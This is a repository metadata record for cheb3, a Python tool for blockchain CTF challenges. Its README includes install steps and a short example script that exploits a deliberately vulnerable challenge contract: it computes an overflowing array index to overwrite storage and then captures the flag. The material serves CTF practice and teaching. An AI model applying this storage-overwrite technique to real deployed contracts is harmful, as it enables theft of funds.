{"id":17968100,"url":"https://github.com/yanhuijessica/cheb3","last_synced_at":"2025-10-12T04:33:13.116Z","repository":{"id":86373740,"uuid":"605426546","full_name":"YanhuiJessica/cheb3","owner":"YanhuiJessica","description":"🐣 web3 CTF tool based on web3.py","archived":false,"fork":false,"pushed_at":"2025-09-28T06:32:52.000Z","size":418,"stargazers_count":41,"open_issues_count":0,"forks_count":5,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-09-28T08:31:40.574Z","etag":null,"topics":["blockchain","ctf","ctf-tools","ethereum","evm","evm-chains","foundry","python3","smart-contracts","web3","web3py"],"latest_commit_sha":null,"homepage":"https://cheb3.readthedocs.io/en/latest/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/YanhuiJessica.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2023-02-23T05:59:37.000Z","updated_at":"2025-09-28T06:30:51.000Z","dependencies_parsed_at":"2023-12-26T15:50:57.233Z","dependency_job_id":"c4139c23-dc6f-425f-8c1e-b1336bcc79be","html_url":"https://github.com/YanhuiJessica/cheb3","commit_stats":{"total_commits":170,"total_committers":4,"mean_commits":42.5,"dds":0.1352941176470588,"last_synced_commit":"3625d9e02ce9ad398f71f5c26b957b75b218314e"},"previous_names":[],"tags_count":30,"template":false,"template_full_name":null,"purl":"pkg:github/YanhuiJessica/cheb3","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YanhuiJessica%2Fcheb3","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YanhuiJessica%2Fcheb3/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YanhuiJessica%2Fcheb3/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YanhuiJessica%2Fcheb3/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/YanhuiJessica","download_url":"https://codeload.github.com/YanhuiJessica/cheb3/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/YanhuiJessica%2Fcheb3/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279010259,"owners_count":26084719,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-12T02:00:06.719Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blockchain","ctf","ctf-tools","ethereum","evm","evm-chains","foundry","python3","smart-contracts","web3","web3py"],"created_at":"2024-10-29T14:10:53.963Z","updated_at":"2025-10-12T04:33:13.111Z","avatar_url":"https://github.com/YanhuiJessica.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":".. raw:: html\n\n    \u003cp align=\"center\"\u003e\n        \u003cimg width=\"300\" src=\"https://raw.githubusercontent.com/YanhuiJessica/cheb3/main/docs/_static/img/cheb3.png\"\u003e\n    \u003c/p\u003e\n\n    \u003cp align=\"center\"\u003e🐣 web3 CTF tool based on web3.py\u003c/p\u003e\n\n    \u003cp align=\"center\"\u003e\n        \u003ca href=\"https://cheb3.readthedocs.io/en/latest/index.html\"\u003e\n            \u003ca href=\"https://pypi.python.org/pypi/cheb3\"\u003e\u003cimg alt=\"PyPI\" src=\"https://img.shields.io/pypi/v/cheb3.svg\"\u003e\u003c/a\u003e\n            \u003cimg alt=\"Documentation\" src=\"https://img.shields.io/readthedocs/cheb3.svg\"\u003e\n        \u003c/a\u003e\n    \u003c/p\u003e\n\nInstallation\n============\n\n`cheb3` can be installed using `pip` as follows:\n\n.. code-block:: shell\n\n    $ python3 -m pip install cheb3\n\nWith `virtualenv` (Recommended)\n-------------------------------\n\nYou can setup a clean environment for `cheb3`:\n\n.. code-block:: shell\n\n    $ python3 -m pip install virtualenv\n    $ virtualenv -p python3 ~/.cheb3_env    # Create a virtual environment\n    $ source ~/.cheb3_env/bin/activate  # Activate the new virtual environment\n    $ pip install -U cheb3  # Install cheb3 in the virtual environment\n\nThen, activate this environment every time before using `cheb3`:\n\n.. code-block:: shell\n\n    $ source ~/.cheb3_env/bin/activate \n    (.cheb3_env) $\n\n.. end-of-readme-intro\n\nExamples\n========\n\nWithout `cheb3`, you might write code like this:\n\n.. code-block:: python\n\n    # https://yanhuijessica.github.io/Chictf-Writeups/blockchain/static/totally-secure-dapp.zip\n\n    from web3 import Web3\n    import json\n\n    def transact(func, gas=1000000, gas_price=None):\n        tx = account.sign_transaction(eval(func).build_transaction({\n            'chainId': w3.eth.chain_id,\n            'nonce': w3.eth.get_transaction_count(account.address),\n            'gas': gas,\n            'gasPrice': gas_price if gas_price else w3.eth.gas_price,\n        })).raw_transaction\n        tx_hash = w3.eth.send_raw_transaction(tx).hex()\n        return w3.eth.wait_for_transaction_receipt(tx_hash)\n\n    w3 = Web3(Web3.HTTPProvider(\"\u003crpc-url\u003e\"))\n    account = w3.eth.account.from_key(\"\u003cprivate-key\u003e\")\n\n    challenge_addr = \"\u003ccontract-address\u003e\"\n\n    abi = json.loads(open(\"abi.json\").read())\n    challenge = w3.eth.contract(address=challenge_addr, abi=abi)\n\n    transact(\"challenge.functions.removePost(1)\")\n\n    index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2\n    transact(f\"challenge.functions.editPost({index}, 'unimportant', 'unimportant')\")\n\n    transact(\"challenge.functions.captureFlag()\")\n\nWith `cheb3`, you can write code like this:\n\n.. code-block:: python\n\n    from web3 import Web3\n    from cheb3 import Connection\n    from cheb3.utils import load_compiled\n\n    conn = Connection(\"\u003crpc-url\u003e\")\n    account = conn.account(\"\u003cprivate-key\u003e\")\n\n    challenge_addr = \"\u003ccontract-address\u003e\"\n\n    abi, _ = load_compiled(\"TotallySecureDapp.sol\")\n    challenge = conn.contract(account, challenge_addr, abi=abi)\n\n    challenge.functions.removePost(1).send_transaction()\n\n    index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2\n    challenge.functions.editPost(index, \"unimportant\", \"unimportant\").send_transaction()\n\n    challenge.functions.captureFlag().send_transaction()\n\nOther examples of using `cheb3` in CTF challenges can be found in `/examples \u003cexamples/\u003e`_.\n\nDocumentation\n=============\n\n- Quick Start\n    - `Making Connections \u003chttps://cheb3.readthedocs.io/en/latest/connection_basis.html\u003e`_\n    - `Interaction Basis \u003chttps://cheb3.readthedocs.io/en/latest/interaction_basis.html\u003e`_\n- API Reference\n    - `Connection \u003chttps://cheb3.readthedocs.io/en/latest/connection.html\u003e`_\n    - `Account \u003chttps://cheb3.readthedocs.io/en/latest/account.html\u003e`_\n    - `Contract \u003chttps://cheb3.readthedocs.io/en/latest/contract.html\u003e`_\n    - `cheb3.utils \u003chttps://cheb3.readthedocs.io/en/latest/utils.html\u003e`_","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyanhuijessica%2Fcheb3","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyanhuijessica%2Fcheb3","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyanhuijessica%2Fcheb3/lists"}